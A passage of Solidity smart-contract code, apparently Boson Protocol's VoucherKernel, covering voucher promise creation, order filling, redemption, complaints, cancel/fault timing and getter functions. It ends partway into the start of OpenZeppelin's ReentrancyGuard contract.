uint256 private constant TYPE_NF_BIT = 1 << 255; //the first bit represents an NFT type
//1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
uint256 private typeId; //base token type ... 127-bits cover 1.701411835*10^38 types (not differentiating between FTs and NFTs)
/* Token IDs:
Fungibles: 0, followed by 127-bit FT type ID, in the upper 128 bits, followed by 0 in lower 128-bits
<0><uint127: base token id><uint128: 0>
Non-fungible VoucherSets (supply tokens): 1, followed by 127-bit NFT type ID, in the upper 128 bits, followed by 0 in lower 128-bits
<1><uint127: base token id><uint128: 0
Non-fungible vouchers: 1, followed by 127-bit NFT type ID, in the upper 128 bits, followed by a 1-based index of an NFT token ID.
<1><uint127: base token id><uint128: index of non-fungible>
*/
uint256 private complainPeriod;
uint256 private cancelFaultPeriod;
event LogPromiseCreated(
bytes32 indexed _promiseId,
uint256 indexed _nonce,
address indexed _seller,
uint256 _validFrom,
uint256 _validTo,
uint256 _idx
);
event LogVoucherCommitted(
uint256 indexed _tokenIdSupply,
uint256 _tokenIdVoucher,
address _issuer,
address _holder,
bytes32 _promiseId
);
event LogVoucherRedeemed(
uint256 _tokenIdVoucher,
address _holder,
bytes32 _promiseId
);
event LogVoucherRefunded(uint256 _tokenIdVoucher);
event LogVoucherComplain(uint256 _tokenIdVoucher);
event LogVoucherFaultCancel(uint256 _tokenIdVoucher);
event LogExpirationTriggered(uint256 _tokenIdVoucher, address _triggeredBy);
event LogFinalizeVoucher(uint256 _tokenIdVoucher, address _triggeredBy);
event LogBosonRouterSet(address _newBosonRouter, address _triggeredBy);
event LogCashierSet(address _newCashier, address _triggeredBy);
event LogVoucherTokenContractSet(address _newTokenContract, address _triggeredBy);
event LogVoucherSetTokenContractSet(address _newTokenContract, address _triggeredBy);
event LogComplainPeriodChanged(
uint256 _newComplainPeriod,
address _triggeredBy
);
event LogCancelFaultPeriodChanged(
uint256 _newCancelFaultPeriod,
address _triggeredBy
);
event LogVoucherSetFaultCancel(uint256 _tokenIdSupply, address _issuer);
event LogFundsReleased(
uint256 _tokenIdVoucher,
uint8 _type //0 .. payment, 1 .. deposits
);
/**
* @notice Checks that only the BosonRouter contract can call a function
*/
modifier onlyFromRouter() {
require(msg.sender == bosonRouterAddress, "UNAUTHORIZED_BR");
_;
}
/**
* @notice Checks that only the Cashier contract can call a function
*/
modifier onlyFromCashier() {
require(msg.sender == cashierAddress, "UNAUTHORIZED_C");
_;
}
/**
* @notice Checks that only the owver of the specified voucher can call a function
*/
modifier onlyVoucherOwner(uint256 _tokenIdVoucher, address _sender) {
//check authorization
require(
IVouchers(voucherTokenAddress).ownerOf(_tokenIdVoucher) == _sender,
"UNAUTHORIZED_V"
);
_;
}
modifier notZeroAddress(address _addressToCheck) {
require(_addressToCheck != address(0), "0A");
_;
}
/**
* @notice Construct and initialze the contract. Iniialises associated contract addresses, the complain period, and the cancel or fault period
* @param _bosonRouterAddress address of the associated BosonRouter contract
* @param _cashierAddress address of the associated Cashier contract
* @param _voucherSetTokenAddress address of the associated ERC1155 contract instance
* @param _voucherTokenAddress address of the associated ERC721 contract instance
*/
constructor(address _bosonRouterAddress, address _cashierAddress, address _voucherSetTokenAddress, address _voucherTokenAddress)
notZeroAddress(_bosonRouterAddress)
notZeroAddress(_cashierAddress)
notZeroAddress(_voucherSetTokenAddress)
notZeroAddress(_voucherTokenAddress)
{
bosonRouterAddress = _bosonRouterAddress;
cashierAddress = _cashierAddress;
voucherSetTokenAddress = _voucherSetTokenAddress;
voucherTokenAddress = _voucherTokenAddress;
complainPeriod = 7 * 1 days;
cancelFaultPeriod = 7 * 1 days;
}
/**
* @notice Pause the process of interaction with voucherID's (ERC-721), in case of emergency.
* Only BR contract is in control of this function.
*/
function pause() external override onlyFromRouter {
_pause();
}
/**
* @notice Unpause the process of interaction with voucherID's (ERC-721).
* Only BR contract is in control of this function.
*/
function unpause() external override onlyFromRouter {
_unpause();
}
/**
* @notice Creating a new promise for goods or services.
* Can be reused, e.g. for making different batches of these (in the future).
* @param _seller seller of the promise
* @param _validFrom Start of valid period
* @param _validTo End of valid period
* @param _price Price (payment amount)
* @param _depositSe Seller's deposit
* @param _depositBu Buyer's deposit
*/
function createTokenSupplyId(
address _seller,
uint256 _validFrom,
uint256 _validTo,
uint256 _price,
uint256 _depositSe,
uint256 _depositBu,
uint256 _quantity
)
external
override
nonReentrant
onlyFromRouter
returns (uint256) {
require(_quantity > 0, "INVALID_QUANTITY");
// solhint-disable-next-line not-rely-on-time
require(_validTo >= block.timestamp + 5 minutes, "INVALID_VALIDITY_TO");
require(_validTo >= _validFrom.add(5 minutes), "VALID_FROM_MUST_BE_AT_LEAST_5_MINUTES_LESS_THAN_VALID_TO");
bytes32 key;
key = keccak256(
abi.encodePacked(_seller, tokenNonces[_seller]++, _validFrom, _validTo, address(this))
);
if (promiseKeys.length > 0) {
require(
promiseKeys[promises[key].idx] != key,
"PROMISE_ALREADY_EXISTS"
);
}
promises[key] = Promise({
promiseId: key,
nonce: tokenNonces[_seller],
seller: _seller,
validFrom: _validFrom,
validTo: _validTo,
price: _price,
depositSe: _depositSe,
depositBu: _depositBu,
idx: promiseKeys.length
});
promiseKeys.push(key);
emit LogPromiseCreated(
key,
tokenNonces[_seller],
_seller,
_validFrom,
_validTo,
promiseKeys.length - 1
);
return createOrder(_seller, key, _quantity);
}
/**
* @notice Creates a Payment method struct recording the details on how the seller requires to receive Price and Deposits for a certain Voucher Set.
* @param _tokenIdSupply _tokenIdSupply of the voucher set this is related to
* @param _paymentMethod might be ETHETH, ETHTKN, TKNETH or TKNTKN
* @param _tokenPrice token address which will hold the funds for the price of the voucher
* @param _tokenDeposits token address which will hold the funds for the deposits of the voucher
*/
function createPaymentMethod(
uint256 _tokenIdSupply,
PaymentMethod _paymentMethod,
address _tokenPrice,
address _tokenDeposits
) external override onlyFromRouter {
paymentDetails[_tokenIdSupply] = VoucherPaymentMethod({
paymentMethod: _paymentMethod,
addressTokenPrice: _tokenPrice,
addressTokenDeposits: _tokenDeposits
});
}
/**
* @notice Create an order for offering a certain quantity of an asset
* This creates a listing in a marketplace, technically as an ERC-1155 non-fungible token with supply.
* @param _seller seller of the promise
* @param _promiseId ID of a promise (simplified into asset for demo)
* @param _quantity Quantity of assets on offer
*/
function createOrder(
address _seller,
bytes32 _promiseId,
uint256 _quantity
) private returns (uint256) {
//create & assign a new non-fungible type
typeId++;
uint256 tokenIdSupply = TYPE_NF_BIT | (typeId << 128); //upper bit is 1, followed by sequence, leaving lower 128-bits as 0;
ordersPromise[tokenIdSupply] = _promiseId;
IVoucherSets(voucherSetTokenAddress).mint(
_seller,
tokenIdSupply,
_quantity,
""
);
return tokenIdSupply;
}
/**
* @notice Fill Voucher Order, iff funds paid, then extract & mint NFT to the voucher holder
* @param _tokenIdSupply ID of the supply token (ERC-1155)
* @param _issuer Address of the token's issuer
* @param _holder Address of the recipient of the voucher (ERC-721)
* @param _paymentMethod method being used for that particular order that needs to be fulfilled
*/
function fillOrder(
uint256 _tokenIdSupply,
address _issuer,
address _holder,
PaymentMethod _paymentMethod
)
external
override
onlyFromRouter
nonReentrant
{
require(_doERC721HolderCheck(_issuer, _holder, _tokenIdSupply), "UNSUPPORTED_ERC721_RECEIVED");
PaymentMethod paymentMethod = getVoucherPaymentMethod(_tokenIdSupply);
//checks
require(paymentMethod == _paymentMethod, "Incorrect Payment Method");
checkOrderFillable(_tokenIdSupply, _issuer, _holder);
//close order
uint256 voucherTokenId = extract721(_issuer, _holder, _tokenIdSupply);
emit LogVoucherCommitted(
_tokenIdSupply,
voucherTokenId,
_issuer,
_holder,
getPromiseIdFromVoucherId(voucherTokenId)
);
}
/**
* @notice Check if holder is a contract that supports ERC721
* @dev ERC-721
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.0-rc.0/contracts/token/ERC721/ERC721.sol
* @param _from Address of sender
* @param _to Address of recipient
* @param _tokenId ID of the token
*/
function _doERC721HolderCheck(
address _from,
address _to,
uint256 _tokenId
) internal returns (bool) {
if (_to.isContract()) {
try IERC721Receiver(_to).onERC721Received(_msgSender(), _from, _tokenId, "") returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("UNSUPPORTED_ERC721_RECEIVED");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @notice Check order is fillable
* @dev Will throw if checks don't pass
* @param _tokenIdSupply ID of the supply token
* @param _issuer Address of the token's issuer
* @param _holder Address of the recipient of the voucher (ERC-721)
*/
function checkOrderFillable(
uint256 _tokenIdSupply,
address _issuer,
address _holder
) internal view notZeroAddress(_holder) {
require(_tokenIdSupply != 0, "UNSPECIFIED_ID");
require(
IVoucherSets(voucherSetTokenAddress).balanceOf(_issuer, _tokenIdSupply) > 0,
"OFFER_EMPTY"
);
bytes32 promiseKey = ordersPromise[_tokenIdSupply];
require(
promises[promiseKey].validTo >= block.timestamp,
"OFFER_EXPIRED"
);
}
/**
* @notice Extract a standard non-fungible token ERC-721 from a supply stored in ERC-1155
* @dev Token ID is derived following the same principles for both ERC-1155 and ERC-721
* @param _issuer The address of the token issuer
* @param _to The address of the token holder
* @param _tokenIdSupply ID of the token type
* @return ID of the voucher token
*/
function extract721(
address _issuer,
address _to,
uint256 _tokenIdSupply
) internal returns (uint256) {
IVoucherSets(voucherSetTokenAddress).burn(_issuer, _tokenIdSupply, 1); // This is hardcoded as 1 on purpose
//calculate tokenId
uint256 voucherTokenId =
_tokenIdSupply | ++typeCounters[_tokenIdSupply];
//set status
vouchersStatus[voucherTokenId].status = determineStatus(
vouchersStatus[voucherTokenId].status,
VoucherState.COMMIT
);
vouchersStatus[voucherTokenId].isPaymentReleased = false;
vouchersStatus[voucherTokenId].isDepositsReleased = false;
//mint voucher NFT as ERC-721
IVouchers(voucherTokenAddress).mint(_to, voucherTokenId);
return voucherTokenId;
}
/* solhint-disable */
/**
* @notice Redemption of the vouchers promise
* @param _tokenIdVoucher ID of the voucher
* @param _messageSender account that called the fn from the BR contract
*/
function redeem(uint256 _tokenIdVoucher, address _messageSender)
external
override
whenNotPaused
onlyFromRouter
onlyVoucherOwner(_tokenIdVoucher, _messageSender)
{
//check status
require(
isStateCommitted(vouchersStatus[_tokenIdVoucher].status),
"ALREADY_PROCESSED"
);
//check validity period
isInValidityPeriod(_tokenIdVoucher);
Promise memory tPromise =
promises[getPromiseIdFromVoucherId(_tokenIdVoucher)];
vouchersStatus[_tokenIdVoucher].complainPeriodStart = block.timestamp;
vouchersStatus[_tokenIdVoucher].status = determineStatus(
vouchersStatus[_tokenIdVoucher].status,
VoucherState.REDEEM
);
emit LogVoucherRedeemed(
_tokenIdVoucher,
_messageSender,
tPromise.promiseId
);
}
// // // // // // // //
// UNHAPPY PATH
// // // // // // // //
/**
* @notice Refunding a voucher
* @param _tokenIdVoucher ID of the voucher
* @param _messageSender account that called the fn from the BR contract
*/
function refund(uint256 _tokenIdVoucher, address _messageSender)
external
override
whenNotPaused
onlyFromRouter
onlyVoucherOwner(_tokenIdVoucher, _messageSender)
{
require(
isStateCommitted(vouchersStatus[_tokenIdVoucher].status),
"INAPPLICABLE_STATUS"
);
//check validity period
isInValidityPeriod(_tokenIdVoucher);
vouchersStatus[_tokenIdVoucher].complainPeriodStart = block.timestamp;
vouchersStatus[_tokenIdVoucher].status = determineStatus(
vouchersStatus[_tokenIdVoucher].status,
VoucherState.REFUND
);
emit LogVoucherRefunded(_tokenIdVoucher);
}
/**
* @notice Issue a complaint for a voucher
* @param _tokenIdVoucher ID of the voucher
* @param _messageSender account that called the fn from the BR contract
*/
function complain(uint256 _tokenIdVoucher, address _messageSender)
external
override
whenNotPaused
onlyFromRouter
onlyVoucherOwner(_tokenIdVoucher, _messageSender)
{
checkIfApplicableAndResetPeriod(_tokenIdVoucher, VoucherState.COMPLAIN);
}
/**
* @notice Cancel/Fault transaction by the Seller, admitting to a fault or backing out of the deal
* @param _tokenIdVoucher ID of the voucher
* @param _messageSender account that called the fn from the BR contract
*/
function cancelOrFault(uint256 _tokenIdVoucher, address _messageSender)
external
override
onlyFromRouter
whenNotPaused
{
uint256 tokenIdSupply = getIdSupplyFromVoucher(_tokenIdVoucher);
require(
getSupplyHolder(tokenIdSupply) == _messageSender,
"UNAUTHORIZED_COF"
);
checkIfApplicableAndResetPeriod(_tokenIdVoucher, VoucherState.CANCEL_FAULT);
}
/**
* @notice Check if voucher status can be changed into desired new status. If yes, the waiting period is resetted, depending on what new status is.
* @param _tokenIdVoucher ID of the voucher
* @param _newStatus desired new status, can be {COF, COMPLAIN}
*/
function checkIfApplicableAndResetPeriod(uint256 _tokenIdVoucher, VoucherState _newStatus)
internal
{
uint8 tStatus = vouchersStatus[_tokenIdVoucher].status;
require(
!isStatus(tStatus, VoucherState.FINAL),
"ALREADY_FINALIZED"
);
string memory revertReasonAlready;
string memory revertReasonExpired;
if (_newStatus == VoucherState.COMPLAIN) {
revertReasonAlready = "ALREADY_COMPLAINED";
revertReasonExpired = "COMPLAINPERIOD_EXPIRED";
} else {
revertReasonAlready = "ALREADY_CANCELFAULT";
revertReasonExpired = "COFPERIOD_EXPIRED";
}
require(
!isStatus(tStatus, _newStatus),
revertReasonAlready
);
Promise memory tPromise =
promises[getPromiseIdFromVoucherId(_tokenIdVoucher)];
if (
isStateRedemptionSigned(tStatus) ||
isStateRefunded(tStatus)
) {
require(
block.timestamp <=
vouchersStatus[_tokenIdVoucher].complainPeriodStart +
complainPeriod +
cancelFaultPeriod,
revertReasonExpired
);
} else if (isStateExpired(tStatus)) {
//if redeemed or refunded
require(
block.timestamp <=
tPromise.validTo + complainPeriod + cancelFaultPeriod,
revertReasonExpired
);
} else if (
//if the opposite of what is the desired new state. When doing COMPLAIN we need to check if already in COF (and vice versa), since the waiting periods are different.
// VoucherState.COMPLAIN has enum index value 2, while VoucherState.CANCEL_FAULT has enum index value 1. To check the opposite status we use transformation "% 2 + 1" which maps 2 to 1 and 1 to 2
isStatus(vouchersStatus[_tokenIdVoucher].status, VoucherState((uint8(_newStatus) % 2 + 1))) // making it VoucherState.COMPLAIN or VoucherState.CANCEL_FAULT (opposite to new status)
) {
uint256 waitPeriod = _newStatus == VoucherState.COMPLAIN ? vouchersStatus[_tokenIdVoucher].complainPeriodStart +
complainPeriod : vouchersStatus[_tokenIdVoucher].cancelFaultPeriodStart + cancelFaultPeriod;
require(
block.timestamp <= waitPeriod,
revertReasonExpired
);
} else if (_newStatus != VoucherState.COMPLAIN && isStateCommitted(tStatus)) {
//if committed only (applicable only in COF)
require(
block.timestamp <=
tPromise.validTo + complainPeriod + cancelFaultPeriod,
"COFPERIOD_EXPIRED"
);
} else {
revert("INAPPLICABLE_STATUS");
}
vouchersStatus[_tokenIdVoucher].status = determineStatus(
tStatus,
_newStatus
);
if (_newStatus == VoucherState.COMPLAIN) {
if (!isStatus(tStatus, VoucherState.CANCEL_FAULT)) {
vouchersStatus[_tokenIdVoucher].cancelFaultPeriodStart = block
.timestamp; //COF period starts
}
emit LogVoucherComplain(_tokenIdVoucher);
} else {
if (!isStatus(tStatus, VoucherState.COMPLAIN)) {
vouchersStatus[_tokenIdVoucher].complainPeriodStart = block
.timestamp; //complain period starts
}
emit LogVoucherFaultCancel(_tokenIdVoucher);
}
}
/**
* @notice Cancel/Fault transaction by the Seller, cancelling the remaining uncommitted voucher set so that seller prevents buyers from committing to vouchers for items no longer in exchange.
* @param _tokenIdSupply ID of the voucher set
* @param _issuer owner of the voucher
*/
function cancelOrFaultVoucherSet(uint256 _tokenIdSupply, address _issuer)
external
override
onlyFromRouter
nonReentrant
whenNotPaused
returns (uint256)
{
require(getSupplyHolder(_tokenIdSupply) == _issuer, "UNAUTHORIZED_COF");
uint256 remQty = getRemQtyForSupply(_tokenIdSupply, _issuer);
require(remQty > 0, "OFFER_EMPTY");
IVoucherSets(voucherSetTokenAddress).burn(_issuer, _tokenIdSupply, remQty);
emit LogVoucherSetFaultCancel(_tokenIdSupply, _issuer);
return remQty;
}
// // // // // // // //
// BACK-END PROCESS
// // // // // // // //
/**
* @notice Mark voucher token that the payment was released
* @param _tokenIdVoucher ID of the voucher token
*/
function setPaymentReleased(uint256 _tokenIdVoucher)
external
override
onlyFromCashier
{
require(_tokenIdVoucher != 0, "UNSPECIFIED_ID");
vouchersStatus[_tokenIdVoucher].isPaymentReleased = true;
emit LogFundsReleased(_tokenIdVoucher, 0);
}
/**
* @notice Mark voucher token that the deposits were released
* @param _tokenIdVoucher ID of the voucher token
*/
function setDepositsReleased(uint256 _tokenIdVoucher)
external
override
onlyFromCashier
{
require(_tokenIdVoucher != 0, "UNSPECIFIED_ID");
vouchersStatus[_tokenIdVoucher].isDepositsReleased = true;
emit LogFundsReleased(_tokenIdVoucher, 1);
}
/**
* @notice Mark voucher token as expired
* @param _tokenIdVoucher ID of the voucher token
*/
function triggerExpiration(uint256 _tokenIdVoucher) external override {
require(_tokenIdVoucher != 0, "UNSPECIFIED_ID");
Promise memory tPromise =
promises[getPromiseIdFromVoucherId(_tokenIdVoucher)];
require(tPromise.validTo < block.timestamp && isStateCommitted(vouchersStatus[_tokenIdVoucher].status),'INAPPLICABLE_STATUS');
vouchersStatus[_tokenIdVoucher].status = determineStatus(
vouchersStatus[_tokenIdVoucher].status,
VoucherState.EXPIRE
);
emit LogExpirationTriggered(_tokenIdVoucher, msg.sender);
}
/**
* @notice Mark voucher token to the final status
* @param _tokenIdVoucher ID of the voucher token
*/
function triggerFinalizeVoucher(uint256 _tokenIdVoucher) external override {
require(_tokenIdVoucher != 0, "UNSPECIFIED_ID");
uint8 tStatus = vouchersStatus[_tokenIdVoucher].status;
require(!isStatus(tStatus, VoucherState.FINAL), "ALREADY_FINALIZED");
bool mark;
Promise memory tPromise =
promises[getPromiseIdFromVoucherId(_tokenIdVoucher)];
if (isStatus(tStatus, VoucherState.COMPLAIN)) {
if (isStatus(tStatus, VoucherState.CANCEL_FAULT)) {
//if COMPLAIN && COF: then final
mark = true;
} else if (
block.timestamp >=
vouchersStatus[_tokenIdVoucher].cancelFaultPeriodStart +
cancelFaultPeriod
) {
//if COMPLAIN: then final after cof period
mark = true;
}
} else if (
isStatus(tStatus, VoucherState.CANCEL_FAULT) &&
block.timestamp >=
vouchersStatus[_tokenIdVoucher].complainPeriodStart + complainPeriod
) {
//if COF: then final after complain period
mark = true;
} else if (
isStateRedemptionSigned(tStatus) || isStateRefunded(tStatus)
) {
//if RDM/RFND NON_COMPLAIN: then final after complainPeriodStart + complainPeriod
if (
block.timestamp >=
vouchersStatus[_tokenIdVoucher].complainPeriodStart +
complainPeriod
) {
mark = true;
}
} else if (isStateExpired(tStatus)) {
//if EXP NON_COMPLAIN: then final after validTo + complainPeriod
if (block.timestamp >= tPromise.validTo + complainPeriod) {
mark = true;
}
}
require(mark, 'INAPPLICABLE_STATUS');
vouchersStatus[_tokenIdVoucher].status = determineStatus(
tStatus,
VoucherState.FINAL
);
emit LogFinalizeVoucher(_tokenIdVoucher, msg.sender);
}
/* solhint-enable */
// // // // // // // //
// UTILS
// // // // // // // //
/**
* @notice Set the address of the new holder of a _tokenIdSupply on transfer
* @param _tokenIdSupply _tokenIdSupply which will be transferred
* @param _newSeller new holder of the supply
*/
function setSupplyHolderOnTransfer(
uint256 _tokenIdSupply,
address _newSeller
) external override onlyFromCashier {
bytes32 promiseKey = ordersPromise[_tokenIdSupply];
promises[promiseKey].seller = _newSeller;
}
/**
* @notice Set the address of the Boson Router contract
* @param _bosonRouterAddress The address of the BR contract
*/
function setBosonRouterAddress(address _bosonRouterAddress)
external
override
onlyOwner
whenPaused
notZeroAddress(_bosonRouterAddress)
{
bosonRouterAddress = _bosonRouterAddress;
emit LogBosonRouterSet(_bosonRouterAddress, msg.sender);
}
/**
* @notice Set the address of the Cashier contract
* @param _cashierAddress The address of the Cashier contract
*/
function setCashierAddress(address _cashierAddress)
external
override
onlyOwner
whenPaused
notZeroAddress(_cashierAddress)
{
cashierAddress = _cashierAddress;
emit LogCashierSet(_cashierAddress, msg.sender);
}
/**
* @notice Set the address of the Vouchers token contract, an ERC721 contract
* @param _voucherTokenAddress The address of the Vouchers token contract
*/
function setVoucherTokenAddress(address _voucherTokenAddress)
external
override
onlyOwner
notZeroAddress(_voucherTokenAddress)
whenPaused
{
voucherTokenAddress = _voucherTokenAddress;
emit LogVoucherTokenContractSet(_voucherTokenAddress, msg.sender);
}
/**
* @notice Set the address of the Voucher Sets token contract, an ERC1155 contract
* @param _voucherSetTokenAddress The address of the Vouchers token contract
*/
function setVoucherSetTokenAddress(address _voucherSetTokenAddress)
external
override
onlyOwner
notZeroAddress(_voucherSetTokenAddress)
whenPaused
{
voucherSetTokenAddress = _voucherSetTokenAddress;
emit LogVoucherSetTokenContractSet(_voucherSetTokenAddress, msg.sender);
}
/**
* @notice Set the general complain period, should be used sparingly as it has significant consequences. Here done simply for demo purposes.
* @param _complainPeriod the new value for complain period (in number of seconds)
*/
function setComplainPeriod(uint256 _complainPeriod)
external
override
onlyOwner
{
complainPeriod = _complainPeriod;
emit LogComplainPeriodChanged(_complainPeriod, msg.sender);
}
/**
* @notice Set the general cancelOrFault period, should be used sparingly as it has significant consequences. Here done simply for demo purposes.
* @param _cancelFaultPeriod the new value for cancelOrFault period (in number of seconds)
*/
function setCancelFaultPeriod(uint256 _cancelFaultPeriod)
external
override
onlyOwner
{
cancelFaultPeriod = _cancelFaultPeriod;
emit LogCancelFaultPeriodChanged(_cancelFaultPeriod, msg.sender);
}
// // // // // // // //
// GETTERS
// // // // // // // //
/**
* @notice Get the promise ID at specific index
* @param _idx Index in the array of promise keys
* @return Promise ID
*/
function getPromiseKey(uint256 _idx)
external
view
override
returns (bytes32)
{
return promiseKeys[_idx];
}
/**
* @notice Get the supply token ID from a voucher token
* @param _tokenIdVoucher ID of the voucher token
* @return ID of the supply token
*/
function getIdSupplyFromVoucher(uint256 _tokenIdVoucher)
public
pure
override
returns (uint256)
{
uint256 tokenIdSupply = _tokenIdVoucher & MASK_TYPE;
require(tokenIdSupply !=0, "INEXISTENT_SUPPLY");
return tokenIdSupply;
}
/**
* @notice Get the promise ID from a voucher token
* @param _tokenIdVoucher ID of the voucher token
* @return ID of the promise
*/
function getPromiseIdFromVoucherId(uint256 _tokenIdVoucher)
public
view
override
returns (bytes32)
{
require(_tokenIdVoucher != 0, "UNSPECIFIED_ID");
uint256 tokenIdSupply = getIdSupplyFromVoucher(_tokenIdVoucher);
return promises[ordersPromise[tokenIdSupply]].promiseId;
}
/**
* @notice Get the remaining quantity left in supply of tokens (e.g ERC-721 left in ERC-1155) of an account
* @param _tokenSupplyId Token supply ID
* @param _tokenSupplyOwner holder of the Token Supply
* @return remaining quantity
*/
function getRemQtyForSupply(uint256 _tokenSupplyId, address _tokenSupplyOwner)
public
view
override
returns (uint256)
{
return IVoucherSets(voucherSetTokenAddress).balanceOf(_tokenSupplyOwner, _tokenSupplyId);
}
/**
* @notice Get all necessary funds for a supply token
* @param _tokenIdSupply ID of the supply token
* @return returns a tuple (Payment amount, Seller's deposit, Buyer's deposit)
*/
function getOrderCosts(uint256 _tokenIdSupply)
external
view
override
returns (
uint256,
uint256,
uint256
)
{
bytes32 promiseKey = ordersPromise[_tokenIdSupply];
return (
promises[promiseKey].price,
promises[promiseKey].depositSe,
promises[promiseKey].depositBu
);
}
/**
* @notice Get Buyer costs required to make an order for a supply token
* @param _tokenIdSupply ID of the supply token
* @return returns a tuple (Payment amount, Buyer's deposit)
*/
function getBuyerOrderCosts(uint256 _tokenIdSupply)
external
view
override
returns (uint256, uint256)
{
bytes32 promiseKey = ordersPromise[_tokenIdSupply];
return (promises[promiseKey].price, promises[promiseKey].depositBu);
}
/**
* @notice Get Seller deposit
* @param _tokenIdSupply ID of the supply token
* @return returns sellers deposit
*/
function getSellerDeposit(uint256 _tokenIdSupply)
external
view
override
returns (uint256)
{
bytes32 promiseKey = ordersPromise[_tokenIdSupply];
return promises[promiseKey].depositSe;
}
/**
* @notice Get the holder of a supply
* @param _tokenIdSupply ID of the order (aka VoucherSet) which is mapped to the corresponding Promise.
* @return Address of the holder
*/
function getSupplyHolder(uint256 _tokenIdSupply)
public
view
override
returns (address)
{
bytes32 promiseKey = ordersPromise[_tokenIdSupply];
return promises[promiseKey].seller;
}
/**
* @notice Get promise data not retrieved by other accessor functions
* @param _promiseKey ID of the promise
* @return promise data not returned by other accessor methods
*/
function getPromiseData(bytes32 _promiseKey)
external
view
override
returns (bytes32, uint256, uint256, uint256, uint256 )
{
Promise memory tPromise = promises[_promiseKey];
return (tPromise.promiseId, tPromise.nonce, tPromise.validFrom, tPromise.validTo, tPromise.idx);
}
/**
* @notice Get the current status of a voucher
* @param _tokenIdVoucher ID of the voucher token
* @return Status of the voucher (via enum)
*/
function getVoucherStatus(uint256 _tokenIdVoucher)
external
view
override
returns (
uint8,
bool,
bool,
uint256,
uint256
)
{
return (
vouchersStatus[_tokenIdVoucher].status,
vouchersStatus[_tokenIdVoucher].isPaymentReleased,
vouchersStatus[_tokenIdVoucher].isDepositsReleased,
vouchersStatus[_tokenIdVoucher].complainPeriodStart,
vouchersStatus[_tokenIdVoucher].cancelFaultPeriodStart
);
}
/**
* @notice Get the holder of a voucher
* @param _tokenIdVoucher ID of the voucher token
* @return Address of the holder
*/
function getVoucherHolder(uint256 _tokenIdVoucher)
external
view
override
returns (address)
{
return IVouchers(voucherTokenAddress).ownerOf(_tokenIdVoucher);
}
/**
* @notice Get the address of the token where the price for the supply is held
* @param _tokenIdSupply ID of the voucher supply token
* @return Address of the token
*/
function getVoucherPriceToken(uint256 _tokenIdSupply)
external
view
override
returns (address)
{
return paymentDetails[_tokenIdSupply].addressTokenPrice;
}
/**
* @notice Get the address of the token where the deposits for the supply are held
* @param _tokenIdSupply ID of the voucher supply token
* @return Address of the token
*/
function getVoucherDepositToken(uint256 _tokenIdSupply)
external
view
override
returns (address)
{
return paymentDetails[_tokenIdSupply].addressTokenDeposits;
}
/**
* @notice Get the payment method for a particular _tokenIdSupply
* @param _tokenIdSupply ID of the voucher supply token
* @return payment method
*/
function getVoucherPaymentMethod(uint256 _tokenIdSupply)
public
view
override
returns (PaymentMethod)
{
return paymentDetails[_tokenIdSupply].paymentMethod;
}
/**
* @notice Checks whether a voucher is in valid period for redemption (between start date and end date)
* @param _tokenIdVoucher ID of the voucher token
*/
function isInValidityPeriod(uint256 _tokenIdVoucher)
public
view
override
returns (bool)
{
//check validity period
Promise memory tPromise =
promises[getPromiseIdFromVoucherId(_tokenIdVoucher)];
require(tPromise.validFrom <= block.timestamp, "INVALID_VALIDITY_FROM");
require(tPromise.validTo >= block.timestamp, "INVALID_VALIDITY_TO");
return true;
}
/**
* @notice Checks whether a voucher is in valid state to be transferred. If either payments or deposits are released, voucher could not be transferred
* @param _tokenIdVoucher ID of the voucher token
*/
function isVoucherTransferable(uint256 _tokenIdVoucher)
external
view
override
returns (bool)
{
return
!(vouchersStatus[_tokenIdVoucher].isPaymentReleased ||
vouchersStatus[_tokenIdVoucher].isDepositsReleased);
}
/**
* @notice Get address of the Boson Router to which this contract points
* @return Address of the Boson Router contract
*/
function getBosonRouterAddress()
external
view
override
returns (address)
{
return bosonRouterAddress;
}
/**
* @notice Get address of the Cashier contract to which this contract points
* @return Address of the Cashier contract
*/
function getCashierAddress()
external
view
override
returns (address)
{
return cashierAddress;
}
/**
* @notice Get the token nonce for a seller
* @param _seller Address of the seller
* @return The seller's nonce
*/
function getTokenNonce(address _seller)
external
view
override
returns (uint256)
{
return tokenNonces[_seller];
}
/**
* @notice Get the current type Id
* @return type Id
*/
function getTypeId()
external
view
override
returns (uint256)
{
return typeId;
}
/**
* @notice Get the complain period
* @return complain period
*/
function getComplainPeriod()
external
view
override
returns (uint256)
{
return complainPeriod;
}
/**
* @notice Get the cancel or fault period
* @return cancel or fault period
*/
function getCancelFaultPeriod()
external
view
override
returns (uint256)
{
return cancelFaultPeriod;
}
/**
* @notice Get the promise ID from a voucher set
* @param _tokenIdSupply ID of the voucher token
* @return ID of the promise
*/
function getPromiseIdFromSupplyId(uint256 _tokenIdSupply)
external
view
override
returns (bytes32)
{
return ordersPromise[_tokenIdSupply];
}
/**
* @notice Get the address of the Vouchers token contract, an ERC721 contract
* @return Address of Vouchers contract
*/
function getVoucherTokenAddress()
external
view
override
returns (address)
{
return voucherTokenAddress;
}
/**
* @notice Get the address of the VoucherSets token contract, an ERC155 contract
* @return Address of VoucherSets contract
*/
function getVoucherSetTokenAddress()
external
view
override
returns (address)
{
return voucherSetTokenAddress;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
